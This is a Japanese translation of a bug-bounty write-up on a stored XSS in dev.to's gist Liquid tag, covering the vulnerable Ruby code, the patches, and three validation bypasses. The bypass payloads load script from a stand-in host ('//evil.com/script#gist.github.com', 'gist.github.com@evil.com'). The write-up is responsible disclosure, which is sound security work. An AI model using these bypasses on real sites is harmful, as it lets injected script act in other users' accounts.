乗っ取りに成功: dev.to をハッキング [翻訳記事]
Tags: security, writeup, xss
Published: 2018-09-14 04:10:28

---
title: 乗っ取りに成功: dev.to をハッキング [翻訳記事]
published: true
description: dev.to の脆弱性を追跡し Stored XSS 攻撃を成功させるまでを記述した Antony Garand さまの記事の翻訳です。「いかにして私はアプリケーションの脆弱性を発見したのかについて。あなたにもできることです！」
tags: security, writeup, xss
cover_image: https://res.cloudinary.com/practicaldev/image/fetch/s--VOzpwlv8--/c_imagga_scale,f_auto,fl_progressive,h_420,q_auto,w_1000/https://thepracticaldev.s3.amazonaws.com/i/1v994a3aqftugutehys5.png
---

本記事は、以下の記事の翻訳です:
[Pwned Together: Hacking dev.to](https://dev.to/antogarand/pwned-together-hacking-devto-hkd) by [Antony Garand](https://dev.to/antogarand)
<small>* 執筆者に許諾を頂いた上で掲載しています。</small>

---

# はじめに

私は、dev.to のソースコードについて書かれた次のすばらしい記事を読んで、大いに刺激を受けました。
そこで、dev.to のフォロワーが 500 人になったことの記念として、dev.to のハッキングに挑戦することにしました！

{% link https://dev.to/joshcheek/this-website-is-open-source-3db4 %}

結果として、私はカスタム Liquid タグを利用した Stored XSS の攻撃方法を発見しました。
これは、あなたが感染したブログ記事を見た場合、私があなたのブラウザを操りあなたの代わりに処理を実行することができるようになる、というものです！


# 背景

XSS とは欠陥をつく攻撃手法のことです。
欠陥をつくことにより、悪意あるユーザー、すなわち今回の場合は *私* が、ページに JavaScript コードを注入することができるようになります。
JavaScript を使えば、シングル・ページ・アプリケーションの場合は特に顕著ですが、その Web サイト上であなたのアカウントを用いて実にたくさんのことが行えるようになります！

あなたのプロフィールを更新したり、新しい記事を投稿したり、記事に対してイイねやコメントを付けたり、さらにはそれ以上のことができるようになるでしょう！

XSS が実行できるということは、ブラウザの立ち位置から Web サイトに対する完全なコントロールを握れるようになる、ということです。
そのため極めて深刻な問題となるのです。

XSS には複数の種類が存在します:

- Reflected XSS（反射型）: 攻撃の起点として、ユーザーが悪意のあるリンクへアクセスすることを必要とします。これは、攻撃が行われるためには、あなたが悪意のあるコードが存在するところまでリダイレクトされるか、もしくはそこに至るリンクをクリックすることが必要である、ということです。
- Stored XSS（蓄積型）: こちらはサーバーへのデータ書き込みを利用した XSS 攻撃です。そのためその Web サイト自身が攻撃の配信者となります。これは、特殊な細工を施されたブログ記事の事例が該当します。通常のユーザーのふるまいが起点となり、あらゆる人のもとで増幅されるため、はるかに深刻な問題を引き起こします。

例を挙げると、Stored XSS は、数年前に [TweetDeck](https://tweetdeck.twitter.com/) で発見されました。
アプリケーション上で、悪意のあるコードが自分自身のリツイートを繰り返し、ついにはとんでもない数のリツィートを生み出しました:

{% twitter 476764918763749376 %}


# 脆弱性

## 最初のコード

[編集ガイド](https://dev.to/p/editor_guide) に記載されているように、dev.to にはたくさんのカスタム Liquid タグが実装されています。
その内の一つは、先ほど引用したブログ記事で Josh によって最近つくられたものです。
そのようなわけで、私はそこにセキュリティの問題が無いかをチェックすることにしました！

これらの Liquid タグのソースコードは [/app/liquid_tags](https://github.com/thepracticaldev/dev.to/tree/master/app/liquid_tags/) フォルダの下にあります。
すぐさま、こちらの [gist](https://github.com/thepracticaldev/dev.to/blob/e588fa7ece36d2c5aa398ba5eedee6b9d60b0818/app/liquid_tags/gist_tag.rb) の処理が興味を引きました: 渡されたタグが script タグへ直接書き込まれています！

```ruby
html = <<~HTML
  <div class="ltag_gist-liquid-tag">
      <script id="gist-ltag" src="#{@link}.js"></script>
  </div>
HTML
```

そしてそのバリデーテション処理には改善の余地が大いにありました。

```ruby
def valid_link?(link)
    link.include?("gist.github.com")
end
```

`gist` リンクの使用方法は [ドキュメント](https://dev.to/p/editor_guide) によると次の通りです:

```plaintext
{% gist https://gist.github.com/QuincyLarson/4bb1682ce590dc42402b2edddbca7aaa %}
```

`.js` を追加することで、gist の中にうまい具合に埋め込まれるスクリプトを作成できます。

{% gist https://gist.github.com/QuincyLarson/4bb1682ce590dc42402b2edddbca7aaa %}

バリデーションが不十分で、そのリンクが `gist.github.com` を含んでいることしかチェックしていなかったので、このように回避できました:

```plaintext
{% gist //evil.com/script#gist.github.com %}
```

これは `<script src="//evil.com/script#gist.github.com.js"></script>` に変換されるでしょう。
そのため、もとは gist だったものが、安全で無いスクリプトとしてブログ記事にロードされるでしょう。
Stored XSS のでき上がりです！

dev.to の開発チームは連絡を受けるや否や、すぐに [パッチ](https://github.com/thepracticaldev/dev.to/blob/b1f6587a3a3f49ae04dd3b0811e412c02d336672/app/liquid_tags/gist_tag.rb) をつくって `valid_link` 関数をアップデートしました:

```ruby
def valid_link?(link)
    (link =~ /(http|https):\/\/(gist.github.com).*/)&.zero?
end
```


## 回避攻撃策 その 1

このパッチは渡されたリンクが `http[s]://gist.github.com` で始まることを検証していました。
前のバリデーションよりは良くなりましたが、これではまだ攻撃を防ぐのに十分ではありません！

次の 2 つのドメインはこのバリデーションをパスするでしょう。
しかし依然として外部のスクリプトをロードします:

- [https://gist.github.com@evil.com/](https://gist.github.com@evil.com/)
- [http://gist.github.com.evil.com/](http://gist.github.com.evil.com/)

最初のものは [Basic 認証方式](https://developer.mozilla.org/ja/docs/Web/HTTP/Authentication#Basic_authentication_scheme) を使用しています。
`gist.github.com` をユーザー名として Web サイト `evil.com` へ送信します。

次のものはシンプルに `evil.com` のサブドメインを使用しています。

この問題は `gist.github.com` の後ろにスラッシュを要求するようにすることで、すぐに修正されました。
この問題の対応方針として妥当なものです。

```ruby
def valid_link?(link)
    (link =~ /^(http(s)?:)?\/\/(gist.github.com)\/.*/)&.zero?
end
```


## 回避攻撃策 その 2

先ほどのパッチにより、ドメインは `gist.github.com` であることが求められるようになりました。
やりますね！

しかしまだ抜け道はありました。
それはこの Web サイトの特性を利用したものでした。

生の gist ファイルを見てみましょう。
今回は [poc.js](https://gist.github.com/AntonyGarand/a8a0b4a36a040edc6051e888afce8fab) を使います。
生ファイルへのリンクは次の形式で与えられます:
`https://gist.githubusercontent.com/[name]/[gistid]/raw/[fileid]/[filename.ext]`

このドメイン `gist.githubusercontent.com` を `gist.github.com` に置換すれば、実際にはもとの `githubusercontent.com` ドメインへリダイレクトされるでしょう！
これは、私の gist にある `poc.js` の生ファイルに、次のようにすればアクセスできるということです:

- [https://gist.githubusercontent.com/AntonyGarand/a8a0b4a36a040edc6051e888afce8fab/raw/4deb366ddaf0597e82fea808f7f4cb3ad763d98f/poc.js](https://gist.githubusercontent.com/AntonyGarand/a8a0b4a36a040edc6051e888afce8fab/raw/4deb366ddaf0597e82fea808f7f4cb3ad763d98f/poc.js)
- [https://gist.github.com/AntonyGarand/a8a0b4a36a040edc6051e888afce8fab/raw/4deb366ddaf0597e82fea808f7f4cb3ad763d98f/poc.js](https://gist.github.com/AntonyGarand/a8a0b4a36a040edc6051e888afce8fab/raw/4deb366ddaf0597e82fea808f7f4cb3ad763d98f/poc.js)

2 番目の URL のドメインにご注意ください: **gist.github.com** です。

こうすることで、生ファイルが **gist.github.com** ドメインから配信されるので、先ほどのパッチをうまくすり抜けられるのです。

この攻撃に対するパッチは、今日、早速うまい具合に当てられました。
渡された gist 情報をより強力な正規表現で処理することで強い制約を掛けています: [Commit](https://github.com/thepracticaldev/dev.to/commit/b99566afb397106fedc97ce53d5496a038e4e0c5)

```ruby
def valid_link?(link)
  (link =~ /^https\:\/\/gist\.github\.com\/([a-zA-Z0-9\-]){1,39}\/([a-zA-Z0-9]){32}\s/)&.
    zero?
end
```


# 終わりに

最初のバグを見付けた後、[dev.to のバグ発見の報奨金プログラム](https://dev.to/security) に基づいて、開発チームはすぐさまバグへの対応を行いパッチを作成しました。
私は苦労の末に、セキュリティ部門の殿堂入りの栄光と、愛しの報奨金 150$ と、 [シールの詰め合わせ](https://shop.dev.to/collections/frontpage/products/sticker-pack) を手にしました。

実際のソースコードを利用でき、且つ、バグの報奨金プログラムが展開されているので、より多くの人々が Web サイトの問題を洗い出すようになるでしょう。
このことは Web サイトをよりセキュアなものにします。

最後になりますが、全体を通して、今回の経験はすばらしいものでした！
私はみなさんにも強くおすすめします。
ソースコードをチェックアウトして、バグとセキュリティに関するイシューを作成して、Web サイト全般のセキュリティを向上させるためのプルリクエストを作成しましょう。

どこから始めたものかとお考えの場合は、[http リンクを https に置き換える](https://github.com/thepracticaldev/dev.to/commit/e7a0911b81fad8851a2168aa5ad479ff3350a5d3) ようなシンプルなものをコミットすることから始めると良いでしょう！

---

お読み頂きどうもありがとうございました。

本記事は、以下の記事の翻訳です:
[Pwned Together: Hacking dev.to](https://dev.to/antogarand/pwned-together-hacking-devto-hkd) by [Antony Garand](https://dev.to/antogarand)

To Antony: Thank you so much for your kind permission for me to translate your post.